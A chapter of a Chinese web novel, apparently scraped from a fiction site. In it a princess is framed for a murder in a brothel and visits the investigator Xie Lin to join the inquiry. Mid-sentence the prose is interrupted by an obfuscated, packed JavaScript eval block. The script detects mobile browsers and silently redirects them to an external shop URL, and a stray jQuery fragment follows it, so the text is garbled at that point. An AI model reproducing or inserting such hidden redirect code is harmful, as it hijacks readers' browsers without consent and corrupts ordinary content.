文趣网 > 其他小说 > 攻略对象都想杀了我 > 7. 第 7 章
    晌午,清风阵阵。

    姜蕴倚在院中美人榻上,指尖拨弄着腰间香囊上的流苏,悠闲地看着院中忙碌的两人。

    青梧伸手扶住秋千,仰头道:“阿衍,你把绳子再往上挪半寸,方才殿下坐着有些低。”

    树上的裴衍应声抬手,骨节分明的指节攥住麻绳,调整好高度:“这样?再高便不稳了。”

    “我看看,正好。”

    两人打好绳结,青梧回身:“殿下,秋千已经扎好了,您可要过来试试?”

    姜蕴伸个懒腰,窝得更深了:“不急,你们先歇会儿。”她眼眸弯了弯,看着裴衍从两三楼高的树上跳下来,笑道,“玉磬常说裴衍轻功了得,今日一见,果真厉害。但不像玉磬说得像猴,嗯,即使像猴也得是美猴王。”

    裴衍垂手站在秋千旁:“殿下说笑了。”

    院中一派闲适,忽然一道人影急促地闯进园子,险些摔倒。

    “怎么了?慌慌张张的。”

    银铃尴尬地挠挠头,侧过身伸出一只手做了个请的动作,姜蕴才看清她身后还跟着一人。

    “奴才拜见长公主殿下。”

    是父皇身边的小曹公公。

    姜蕴点点头:“不知小曹公公到本宫府上有何要事?”

    小曹公公急急走近,道:“殿下!出大事了!”

    姜蕴坐起身:“怎么了?”

    青梧和裴衍互相看了眼,揖手退下。

    小曹公公定了定心神,又朝姜蕴一拜,压低了声音:“殿下,那个林文彦,他死了。”

    姜蕴瞪大了眼,看向银铃:“是那日闯入牡丹园的林文彦?”

    银铃点点头。

    “今日早朝林文彦的父亲林通判在殿上递了折子。”小曹公公停顿片刻,扑通一下跪地:“他状告……状告殿下您蓄意报复,害死了他儿子。”

    姜蕴指着自己的鼻子,愕然:“我吗?”

    银铃:“他这是恶意攀咬!殿下昨晚一整夜都在府中,怎么可能去那种地方杀他儿子。”

    “那种地方?”

    “林文彦死于烟雨楼,那是,是个青楼。”银铃咬字声音越来越低。

    姜蕴倒不在意,看向小曹公公,八卦道:“林文彦怎么死的?”

    “昨夜林文彦在烟雨楼和一个壮汉因为争一个姑娘打起来了,不知怎么,就被那个男的打死了。只不过那个男人……”

    小曹公公吞吞吐吐,姜蕴示意他继续说。

    “那个男人名叫李吉,曾是在长公主府当过差。”

    “殿下,李吉半年前因为手脚不干净被青梧赶出了府。”银铃补充到。

    小曹公公:“对,林大人就以李吉出自长公主府攀咬殿下,说那日在牡丹园林文彦救了您,您不知感恩,反而派人杀害林文彦。”

    皇后压下牡丹园的事才过几日,就有人拿人命来指向她。

    又是三公主吗?

    她还在关禁闭也能够如此闹腾?

    姜蕴气笑了:“真是好一张颠倒黑白的嘴,市井争风斗殴闹出的人命,也能强行扣在本宫头上?”

    “正是啊,陛下也如此说。因为状告殿下,陛下斥责了林大人,本想打发给刑部敷衍而过。”小曹公公看了眼殿下,发现她端起茶呷了口压下怒气,战战兢兢开口:“可监察司谢大人站了出来,谢大人说此案牵扯皇室又是人命官司,疑点重重,监察司愿彻查到底。”

    谢凛?

    监察司除了父皇亲下命令,负责的几乎都是重大密案。

    要说别人或许会觉得此案与长公主有些牵扯,但春宴谢凛就在现场,还帮了她。明知道是诬告,谢凛却接手了这个案子,谢凛打得什么注意?

    “殿下,我们那日……”

    是不是得罪了谢司正?

    银铃低眉,剩了半句吞进了肚子里。

    姜蕴侧目看去,她只把头低得更低了。

    姜蕴思忖片刻:“劳烦公公回宫告诉父皇,儿臣身正不怕影斜,不怕监察司查。”

    “委屈殿下了,奴才定将话带到。”小曹公公朝她一拜:“奴才退下了。”

    姜蕴坐久了,起身换到新扎的秋千上,慢慢悠悠地晃着。

    银铃送了小曹公公折返回来,心急道:“殿下,您怎么还有心情荡秋千呀,”

    姜蕴手掌握住绳子,幽幽道:“林文彦虽然冒犯过我,但我没有任何理由去杀了他,还找了一个这么明显的人,如果谢凛认为我是凶人,那真相只有一个。”

    银铃愣住。

    “谢凛是真傻。”

    “……”

    银铃被殿下这一说笑也稍稍放下心来,“谢司正向来刚正不阿,办过奇案无数,定不会冤枉了殿下。”

    姜蕴晃动秋千,谢凛明知她是被冤枉的,在朝堂上主动揽活调查真相,难不成……他对我另有所图?

    脑子里适时回想起灰白色的人物框。

    姜蕴打破冒出的小泡泡,我在期待一个好感度为0的人些什么呢?

    “银铃,如果你是谢凛,接手一个案子,查清真相首先要做什么?”

    银铃不假思索:“审问嫌疑人啊。”

    话音刚落,她面上一僵,咬唇懊恼。

    坏了,嘴太快了,这个嫌疑人不正是自家殿下吗!

    姜蕴见她局促的模样,嘴角挽起一抹笑意。

    没错。

    宫里小曹公公的通报都到了,谢凛却迟迟没来府中问话。

    这种游离在原剧情之外的剧情,姜蕴也没有心思在府中想东想西了,不如去当面问一问谢凛。

    姜蕴站起身:“银铃,摆驾监察司。”

    *

    监察司府门。

    一架朱红描金的凤辇缓缓停于阶下,车架一角悬着玉铃,帷幔的锦缎上用金丝绣着缠枝海棠,处处透着长公主的尊贵。

    姜蕴抬手掀开锦帘,踏下凤辇。

    刚站稳,便撞见谢凛带着一队人马归司。一众司吏虎背蜂腰,腰间佩刀寒光若现,甲靴踏在青石板上,声响沉沉,格外肃杀。

    谢凛走在队列最前方,玄色官袍一角随风微扬,一抬眼,目光便落在凤辇旁那抹明媚身影上。

    “殿下。”

    谢凛停在姜蕴身前,揖手。

    “听闻司正大人接了状告本宫的案子,特来陈情。”

    “殿下说笑了,职责所在罢了。”

    “谢司正这是刚办完案子?”姜蕴扫了眼,语气轻飘飘的,“公务如此繁忙,还要分心本宫的案子,实在辛苦。”

    谢凛眼睫微压,面无表情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788235|210253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“不分心,办的正是殿下的案子。”

    姜蕴抬眸。

    “杀死林文彦的李吉,投河了。”谢凛神色淡然地说:“被人发现时,已经断气了。”

    “什么时候!凶手是谁?”

    “仵作还在验,不过臣看了眼,线索并不多。看来殿下那日所言非虚,确有人想置殿下于死地。”

    谢凛凝眸看她,那日姜蕴义正言辞道有人要在暗处害她,他一度错以为,她是看穿了自己压抑难平的心思,如今才彻底恍然。

    真的有人,步步为营要毁了她。

    姜蕴略感错愕:“你信我?”

    谢凛唇畔动了动,语气沉定坦然:“我不蠢。”

    此话一出,一旁站着的银铃噎了一口气,当即狂咳起来。

    姜蕴闻言抿了抿唇,心头却落下一颗石头,说到:“多谢司正。”

    “殿下不必谢,李吉一死,所有线索就指向殿下了。”

    姜蕴迎着他深邃沉敛的目光,正色道:“司正定然也清楚,幕后之人用林文彦的死,攀咬我蓄意报复;再用李吉的死,坐实我斩草除根。这两步,无非都是冲着我来的。”

    谢凛点头:“殿下准备如何应对?”

    “想要我声誉扫地也好,甚至丢掉圣宠也罢,程到圣前,都需要证据。”姜蕴嘴角略微上扬,眼底浮起一层光亮,“雁过留痕,世界上就没有完美的假象。他们在捏造假的证据时,必定也会留下破绽。”

    谢凛眸若点漆:“殿下看得透彻。”

    “我不喜欢坐以待毙,所以还请司正应允,我想一同查案。”

    谢凛挑眉,声音清冽:“这不符合规矩。”

    “我懂规矩。”姜蕴语气笃定,坚持道,“我只跟着司正,绝不插手干预,也绝不碰任何物证。而且司正你要相信我的直觉。”

    “本官断案从不凭直觉。”

    “也不全是直觉,我身处漩涡中心,旁人不注意的痕迹,我反而能更容易识破。”

    谢凛思量片刻,深不见底的眸光终是松动几分,说道:“破例一次。”

    话音落下,姜蕴眉眼刹那清亮了些。

    谢凛抬眸看向她,声音冷冽:“殿下可随行查案,但需全程听令于我,不得擅自行。”

    “没问题!”姜蕴立刻应声,跃跃欲试:“那司正我们现在干什么呢?”

    “今日待仵作验尸结果出来,已经很晚了。明日辰时,臣去长公主府接殿下。”

    姜蕴点点头,裙摆扫过他的衣角,脚步轻快地踏上凤辇,笑得明媚洒脱:“谢司正,就明日不见不散了。”

    玉铃轻响,凤辇渐行渐远。

    谢凛站在石阶之上,目光沉沉看着车辇消失的方向,沉冷的眼眸里暗流翻涌。

    上一世的姜蕴,永远利己,清醒且自我。

    她高高在上,目标清晰,深谙避祸藏锋之道,从不会让自己身陷泥潭,更不会为一桩刻意栽赃的冤案,为几句朝堂流言,放下身段,费心费力来寻一个真相。

    而方才的人,鲜活坦荡,甚至带着些许笨拙又勇往直前的认真。

    是重生带来的变数?

    天色渐晚,春日晚风带着几分寒意,卷着微尘掠过阶前,吹起他的衣袂。

    他扯了扯嘴角,走进内堂。